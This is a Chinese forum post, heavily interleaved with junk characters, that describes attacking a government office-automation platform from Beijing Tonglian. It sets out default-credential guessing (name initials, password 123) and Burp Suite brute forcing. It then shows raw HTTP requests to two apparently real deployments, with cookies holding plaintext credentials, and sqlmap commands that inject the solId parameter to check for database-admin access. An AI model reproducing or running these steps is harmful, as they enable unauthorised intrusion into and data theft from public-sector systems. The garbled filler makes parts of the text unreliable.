|
+ n: {. f3 e. u. [% W0 A4 Y2 @; n
+ R% r9 M1 {- ]6 V
2 j- V2 Z/ e9 [
6 [+ [0 @: V: g( o 平台简介:
* b8 y3 L$ a3 Y4 M& r$ C& E
6 f' G8 \" k# x" R4 v: e$ T/ w j, M, G' w4 h! n
# `0 Q" Q x; G; a
! S; ~- x' u/ T5 Y" A0 |
5 V8 d# p4 |. Y, Y1 v, U2 U 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
0 [ l* x# A% P- C0 _3 W同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, a+ u1 I4 W1 ^/ ]同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!( {' ?& I# ~2 s/ N& `+ E
. p6 Y4 E7 j. K: M/ c4 y4 D% k' |# c1 k1 U
t5 [" D6 Q" z! N. v% \ ! X# x5 r4 F r8 J ]% Z( x
. K9 }! {2 F- k* `0 P9 N
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:
/ R1 D o4 T3 Y
5 ]5 z& b0 H) D) t% o: ]( l' @/ ^# d J6 D9 i% l% T# F4 T
0 L% v& F8 N2 g3 [' a ! p3 P$ ?- s' L8 Q7 _9 s2 A1 _7 a
, Y2 d5 G2 W7 y: \2 D
http://1.1.1.1:7197/cap-aco/#(案例2-)
& i7 |, Y; @& Z9 s$ @! l
) M' f6 Y/ B- d4 s+ s% y9 `' e& m. n2 X" d! p3 t
http://www.XXOO.com (案例1-官网网站): W- [5 p, m/ ~/ s, [4 ~+ Q2 i5 l
7 R: k9 b$ L! S3 @ a
: f! [! g0 `/ Y6 y- O
% S$ i8 i# t- d8 H6 w' R' l
( H) V5 `: G# c, h/ b% F
0 A9 g9 I: L% m 漏洞详情:
* H& e5 Y6 _' `# E; ~7 W1 Z9 a P$ N& s5 y& v ?8 N
4 ]5 s: t# s2 N! W$ i) r 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试: _$ m a: r; `" i0 j, i: ~
8 Q3 R# W9 N5 ^% |
* `" o) I. E% R6 n( ?
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:9 v+ d/ O7 z5 E
4 i O! u0 Q$ w& l/ ]( c! V! b
: _/ j' u% y1 b0 f
6 A2 ]# I% s9 F; B* f& {- Y5 I
# t8 m- O' ?& V N8 Q) {$ E; K8 Q0 q- E6 Q- _6 ]
$ m* ?3 `$ H b) Q4 M
' k% Q7 _; O& f2 F2 A4 d/ H. _; ?- z. o" K& l7 U# V9 y9 z$ z
status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下:( W! H0 C a) {: c
) x& K/ x- U! }0 x) x5 w( K
/ x( j( v9 I! x; g0 O$ E 1、案例1-官方网站- ?+ X( E; ^/ r
- v! u0 c- N8 r4 [ p5 Z' i S% _/ `& \: {7 ^6 {1 _
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1( p0 T8 J; w( c% r
: j6 f; d5 V9 W; D0 C" c& g, L
: p9 r1 Q) z& e* k) Q2 l Host: www.XXOO.com
% B; X, r7 I% ~ ~7 m d; M3 h
' K, a9 b4 Y1 `! u- N W' W2 {/ _8 [3 E# a' H3 ]7 T4 [1 D
Proxy-Connection: Keep-Alive
3 C+ y6 V9 _$ G: n. Q: ?2 D - j3 J3 @3 [4 C8 C
0 J& g- K& X6 |( q Accept: application/json, text/javascript, */*; q=0.01/ m) w K7 Y$ ]
4 j" p" P0 H4 h! ?& d6 H/ F
+ }; N* H2 {) c: o: {( U Accept-Language: zh-CN1 \- h* z) b' O9 G9 m
( J+ i" v% `, j4 w$ y8 o7 q, X; S7 S
Content-Type: application/json1 L: _2 U/ v* J& E6 K& b
) v( l: x4 H+ w# K* S& B& F
' I; ^& E9 u- T" H% C
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko- e! y6 v/ M. P* I9 d0 ^- x& ~# y
4 _5 } ?! j7 r
( i r' R- q. N/ w' F, V
X-Requested-With: XMLHttpRequest
. A: v; c$ ^. A$ u7 P$ x# { ; n; N6 i( @/ l, B# Q( v
* A7 m- J% b0 y u/ T Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002
+ Y- d" {8 S: J+ E ! y0 ]/ x0 B$ M3 W
! C* _; @( z6 s0 g7 n: C" h1 `) p Accept-Encoding: gzip, deflate, sdch* u) ?' R! D" L( m5 K' @
& `( R9 N/ e* N. I& f7 }0 J/ @+ N0 U k
Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e
9 g% m! e/ E/ c8 C, a8 L) D
% W- i, X, b% i4 e+ ?, n& n5 N' a1 _
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
) _6 m& ~, Y/ G4 z) P8 }$ r) n
( U& z* z. F# D9 [- s o) g. @0 ^6 ?6 b6 @- y- @2 l3 s& g8 d/ d
* `# i' }$ `7 [+ K
8 w) _) G1 P3 w6 w+ c# i
: U: w. k4 d5 L* V
( k: U% |+ l8 k* }
5 Z* _# e' Q) j4 {- o/ O
' I0 m+ u% D4 M" n: \% r
" _7 a8 f8 G) v3 T0 P& i
7 Y/ x6 v: }: V% \7 m+ \7 U8 {- ~) L' J
# ^' G, e3 a1 }# H
/ _! b" r9 D; E& a3 L
( }$ u* @" i& x+ T& R1 C5 E ( F/ y T3 C6 W& k) s
0 o n2 u. I: f, F. k" z/ R
' c3 g2 K( M6 C# d" U 2、案例2-某天河云平台
) Z) b& ~9 w5 o5 C. Z ' u$ R3 C/ W- ^7 O. z+ w
# h1 U/ o) g) `8 ?3 N6 x" M
GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1
: @/ G& D7 h1 P; T + M* s- ^7 Q, E; L
% z# y+ }; m: d, B& M3 D# j Host: 1.1.1.:7197' T% E; u& o( R# m5 k3 Q3 V+ r
3 V6 k, d# k% P8 _. y- S
5 @, V8 r+ z w% v1 ` V3 R2 M Accept: application/json, text/javascript, */*; q=0.01; P* k: X K9 Y& w& r
4 S: r, k4 @. F5 Z
) x, m3 E4 M0 j2 ]# i X-Requested-With: XMLHttpRequest! V5 x9 v5 h" G1 b5 H2 U
( ^3 p2 g% n" `
% `2 Z8 _+ v e' W! d- G User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0) ^ x V1 B1 l1 g3 S* ~
. y8 k7 q) i9 z2 Q3 r
& l+ q6 S# s) A* f. B
Content-Type: application/json+ T7 L1 J0 L' T6 O3 G: R$ }7 M
; h: V. B% c' n5 t9 T
3 Z) {$ f$ J9 g7 }( u" m1 g. M Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008
7 k% i( W. j( q- B$ m. M
4 ^0 O) c6 A% m$ I3 c6 s( a% H J m# P, u
Accept-Language: zh-CN,zh;q=0.8
9 _1 E6 J2 l+ N" Q$ R; | 0 e+ V. f$ J' P i( W4 ?) z
$ M2 D& I/ N2 t# W6 O) e Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1
8 f0 J; X5 y/ h3 r2 K* H7 N9 N
/ Z- O4 z4 j- _! _1 q8 Z& T8 X$ \8 T: b6 `/ S
Connection: close
! J8 _) ^% \7 _ # ?7 B4 S$ A+ T5 u8 C
) _4 `5 W r2 b/ U: J3 h: c* |
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
# Q- N& U9 @1 ^1 Q y1 ^ , j1 P* y$ z6 b7 z* Y- ?1 A4 R
Q! ], o6 Y: A8 [
; J+ K! g' K. D
# L; i; B7 N3 {7 T) J6 f7 C" x4 H# n
- P0 d; \2 Y- C8 F
|